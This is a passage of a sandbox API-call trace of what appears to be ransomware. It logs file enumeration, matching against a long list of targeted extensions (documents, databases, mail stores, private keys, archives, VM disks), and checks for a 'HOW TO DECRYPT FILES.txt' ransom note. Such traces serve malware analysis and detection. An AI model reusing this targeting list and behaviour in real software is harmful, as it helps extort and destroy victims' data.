HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adex[1].js", pszSpec="*.ofx") returned 0 [0083.959] lstrlenA (lpString="*.ofx") returned 5 [0083.959] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adex[1].js", pszSpec="*.qif") returned 0 [0083.959] lstrlenA (lpString="*.qif") returned 5 [0083.959] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adex[1].js", pszSpec="*.mye") returned 0 [0083.959] lstrlenA (lpString="*.mye") returned 5 [0083.959] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adex[1].js", pszSpec="*.mbox") returned 0 [0083.959] lstrlenA (lpString="*.mbox") returned 6 [0083.959] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adex[1].js", pszSpec="*.eml") returned 0 [0083.959] lstrlenA (lpString="*.eml") returned 5 [0083.959] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adex[1].js", pszSpec="*.pst") returned 0 [0083.959] lstrlenA (lpString="*.pst") returned 5 [0083.959] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adex[1].js", pszSpec="*.ost") returned 0 [0083.959] lstrlenA (lpString="*.ost") returned 5 [0083.960] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adex[1].js", pszSpec="*.idx") returned 0 [0083.960] lstrlenA (lpString="*.idx") returned 5 [0083.960] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adex[1].js", pszSpec="*.dbx") returned 0 [0083.960] lstrlenA (lpString="*.dbx") returned 5 [0083.960] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adex[1].js", pszSpec="*.sql") returned 0 [0083.960] lstrlenA (lpString="*.sql") returned 5 [0083.960] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adex[1].js", pszSpec="*.mdb") returned 0 [0083.960] lstrlenA (lpString="*.mdb") returned 5 [0083.960] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adex[1].js", pszSpec="*.fdb") returned 0 [0083.960] lstrlenA (lpString="*.fdb") returned 5 [0083.960] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adex[1].js", pszSpec="*.wab") returned 0 [0083.960] lstrlenA (lpString="*.wab") returned 5 [0083.960] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adex[1].js", pszSpec="*.dat") returned 0 [0083.960] lstrlenA (lpString="*.dat") returned 5 [0083.960] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adex[1].js", pszSpec="*.txt") returned 0 [0083.960] lstrlenA (lpString="*.txt") returned 5 [0083.960] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adex[1].js", pszSpec="*.jpeg") returned 0 [0083.960] lstrlenA (lpString="*.jpeg") returned 6 [0083.960] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adex[1].js", pszSpec="*.jpg") returned 0 [0083.960] lstrlenA (lpString="*.jpg") returned 5 [0083.960] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adex[1].js", pszSpec="*.png") returned 0 [0083.961] lstrlenA (lpString="*.png") returned 5 [0083.961] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adex[1].js", pszSpec="*.php") returned 0 [0083.961] lstrlenA (lpString="*.php") returned 5 [0083.961] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adex[1].js", pszSpec="*.cs") returned 0 [0083.961] lstrlenA (lpString="*.cs") returned 4 [0083.961] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adex[1].js", pszSpec="*.cpp") returned 0 [0083.961] lstrlenA (lpString="*.cpp") returned 5 [0083.961] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adex[1].js", pszSpec="*.rar") returned 0 [0083.961] lstrlenA (lpString="*.rar") returned 5 [0083.961] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adex[1].js", pszSpec="*.zip") returned 0 [0083.961] lstrlenA (lpString="*.zip") returned 5 [0083.961] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adex[1].js", pszSpec="*.html") returned 0 [0083.961] lstrlenA (lpString="*.html") returned 6 [0083.961] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adex[1].js", pszSpec="*.htm") returned 0 [0083.961] lstrlenA (lpString="*.htm") returned 5 [0083.961] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adex[1].js", pszSpec="*.xlsx") returned 0 [0083.961] lstrlenA (lpString="*.xlsx") returned 6 [0083.961] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adex[1].js", pszSpec="*.xls") returned 0 [0083.961] lstrlenA (lpString="*.xls") returned 5 [0083.961] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adex[1].js", pszSpec="*.mp4") returned 0 [0083.961] lstrlenA (lpString="*.mp4") returned 5 [0083.961] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adex[1].js", pszSpec="*.ppt") returned 0 [0083.961] lstrlenA (lpString="*.ppt") returned 5 [0083.962] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adex[1].js", pszSpec="*.pptx") returned 0 [0083.962] lstrlenA (lpString="*.pptx") returned 6 [0083.962] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adex[1].js", pszSpec="*.doc") returned 0 [0083.962] lstrlenA (lpString="*.doc") returned 5 [0083.962] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adex[1].js", pszSpec="*.dot") returned 0 [0083.962] lstrlenA (lpString="*.dot") returned 5 [0083.962] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adex[1].js", pszSpec="*.docx") returned 0 [0083.962] lstrlenA (lpString="*.docx") returned 6 [0083.962] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adex[1].js", pszSpec="*.7z") returned 0 [0083.962] lstrlenA (lpString="*.7z") returned 4 [0083.962] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adex[1].js", pszSpec="*.tar") returned 0 [0083.962] lstrlenA (lpString="*.tar") returned 5 [0083.962] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adex[1].js", pszSpec="*.bz2") returned 0 [0083.962] lstrlenA (lpString="*.bz2") returned 5 [0083.962] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adex[1].js", pszSpec="*.gz") returned 0 [0083.962] lstrlenA (lpString="*.gz") returned 4 [0083.962] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adex[1].js", pszSpec="*.mkv") returned 0 [0083.962] lstrlenA (lpString="*.mkv") returned 5 [0083.962] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adex[1].js", pszSpec="*.eml") returned 0 [0083.962] lstrlenA (lpString="*.eml") returned 5 [0083.962] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adex[1].js", pszSpec="*.msg") returned 0 [0083.962] lstrlenA (lpString="*.msg") returned 5 [0083.963] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adex[1].js", pszSpec="*.edb") returned 0 [0083.963] lstrlenA (lpString="*.edb") returned 5 [0083.963] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adex[1].js", pszSpec="*.accdb") returned 0 [0083.963] lstrlenA (lpString="*.accdb") returned 7 [0083.963] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adex[1].js", pszSpec="*.odb") returned 0 [0083.963] lstrlenA (lpString="*.odb") returned 5 [0083.963] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adex[1].js", pszSpec="*.java") returned 0 [0083.963] lstrlenA (lpString="*.java") returned 6 [0083.963] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adex[1].js", pszSpec="*.asm") returned 0 [0083.963] lstrlenA (lpString="*.asm") returned 5 [0083.963] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adex[1].js", pszSpec="*.pfx") returned 0 [0083.963] lstrlenA (lpString="*.pfx") returned 5 [0083.963] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adex[1].js", pszSpec="*.pem") returned 0 [0083.963] lstrlenA (lpString="*.pem") returned 5 [0083.963] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adex[1].js", pszSpec="*.p12") returned 0 [0083.963] lstrlenA (lpString="*.p12") returned 5 [0083.963] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adex[1].js", pszSpec="*.gpg") returned 0 [0083.963] lstrlenA (lpString="*.gpg") returned 5 [0083.963] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adex[1].js", pszSpec="*.vsd") returned 0 [0083.964] lstrlenA (lpString="*.vsd") returned 5 [0083.964] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adex[1].js", pszSpec="*.odg") returned 0 [0083.964] lstrlenA (lpString="*.odg") returned 5 [0083.964] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adex[1].js", pszSpec="*.raw") returned 0 [0083.964] lstrlenA (lpString="*.raw") returned 5 [0083.964] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adex[1].js", pszSpec="*.nef") returned 0 [0083.964] lstrlenA (lpString="*.nef") returned 5 [0083.964] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adex[1].js", pszSpec="*.svg") returned 0 [0083.964] lstrlenA (lpString="*.svg") returned 5 [0083.964] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adex[1].js", pszSpec="*.psd") returned 0 [0083.964] lstrlenA (lpString="*.psd") returned 5 [0083.964] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adex[1].js", pszSpec="*.vmx") returned 0 [0083.964] lstrlenA (lpString="*.vmx") returned 5 [0083.964] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adex[1].js", pszSpec="*.vmdk") returned 0 [0083.964] lstrlenA (lpString="*.vmdk") returned 6 [0083.964] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adex[1].js", pszSpec="*.vdi") returned 0 [0083.964] lstrlenA (lpString="*.vdi") returned 5 [0083.964] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adex[1].js", pszSpec="*.lay6") returned 0 [0083.964] lstrlenA (lpString="*.lay6") returned 6 [0083.964] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adex[1].js", pszSpec="*.mpeg") returned 0 [0083.964] lstrlenA (lpString="*.mpeg") returned 6 [0083.964] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adex[1].js", pszSpec="*.djvu") returned 0 [0083.964] lstrlenA (lpString="*.djvu") returned 6 [0083.965] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adex[1].js", pszSpec="*.tiff") returned 0 [0083.965] lstrlenA (lpString="*.tiff") returned 6 [0083.965] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adex[1].js", pszSpec="*.backup") returned 0 [0083.965] lstrlenA (lpString="*.backup") returned 8 [0083.965] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adex[1].js", pszSpec="*.pdf") returned 0 [0083.965] lstrlenA (lpString="*.pdf") returned 5 [0083.965] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adex[1].js", pszSpec="*.cert") returned 0 [0083.965] lstrlenA (lpString="*.cert") returned 6 [0083.965] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adex[1].js", pszSpec="*.docm") returned 0 [0083.965] lstrlenA (lpString="*.docm") returned 6 [0083.965] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adex[1].js", pszSpec="*.xlsm") returned 0 [0083.965] lstrlenA (lpString="*.xlsm") returned 6 [0083.965] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adex[1].js", pszSpec="*.dwg") returned 0 [0083.965] lstrlenA (lpString="*.dwg") returned 5 [0083.965] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adex[1].js", pszSpec="*.nd") returned 0 [0083.965] lstrlenA (lpString="*.nd") returned 4 [0083.965] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adex[1].js", pszSpec="*.tlg") returned 0 [0083.965] lstrlenA (lpString="*.tlg") returned 5 [0083.965] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adex[1].js", pszSpec="*.lgb") returned 0 [0083.965] lstrlenA (lpString="*.lgb") returned 5 [0083.965] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adex[1].js", pszSpec="*.mov") returned 0 [0083.965] lstrlenA (lpString="*.mov") returned 5 [0083.965] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adex[1].js", pszSpec="*.xdw") returned 0 [0083.965] lstrlenA (lpString="*.xdw") returned 5 [0083.966] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adex[1].js", pszSpec="*.ods") returned 0 [0083.966] lstrlenA (lpString="*.ods") returned 5 [0083.966] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adex[1].js", pszSpec="*.wav") returned 0 [0083.966] lstrlenA (lpString="*.wav") returned 5 [0083.966] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adex[1].js", pszSpec="*.mp3") returned 0 [0083.966] lstrlenA (lpString="*.mp3") returned 5 [0083.966] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adex[1].js", pszSpec="*.aiff") returned 0 [0083.966] lstrlenA (lpString="*.aiff") returned 6 [0083.966] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adex[1].js", pszSpec="*.flac") returned 0 [0083.966] lstrlenA (lpString="*.flac") returned 6 [0083.966] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adex[1].js", pszSpec="*.m4a") returned 0 [0083.966] lstrlenA (lpString="*.m4a") returned 5 [0083.966] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adex[1].js", pszSpec="*.csv") returned 0 [0083.966] lstrlenA (lpString="*.csv") returned 5 [0083.966] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x540e72d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x540e72d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x540e72d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x2874, dwReserved0=0x730065, dwReserved1=0x4c005c, cFileName="adfscript[1]", cAlternateFileName="ADFSCR~1")) returned 1 [0083.966] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0083.966] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="adfscript[1]") returned 1 [0083.966] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="adfscript[1]") returned 1 [0083.966] lstrcmpiA (lpString1="", lpString2="adfscript[1]") returned -1 [0083.966] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adex[1].js") returned="adex[1].js" [0083.966] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" [0083.966] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="" [0083.966] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" [0083.966] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\how to decrypt files.txt")) returned 0x2020 [0083.967] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="adfscript[1]" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adfscript[1]") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adfscript[1]" [0083.967] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adfscript[1]", pszSpec="*.ems") returned 0 [0083.967] lstrlenA (lpString="*.ems") returned 5 [0083.967] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adfscript[1]", pszSpec="*.db") returned 0 [0083.967] lstrlenA (lpString="*.db") returned 4 [0083.967] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adfscript[1]", pszSpec="*.dbf") returned 0 [0083.967] lstrlenA (lpString="*.dbf") returned 5 [0083.967] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adfscript[1]", pszSpec="*.myox") returned 0 [0083.967] lstrlenA (lpString="*.myox") returned 6 [0083.967] PathMatchSpecA 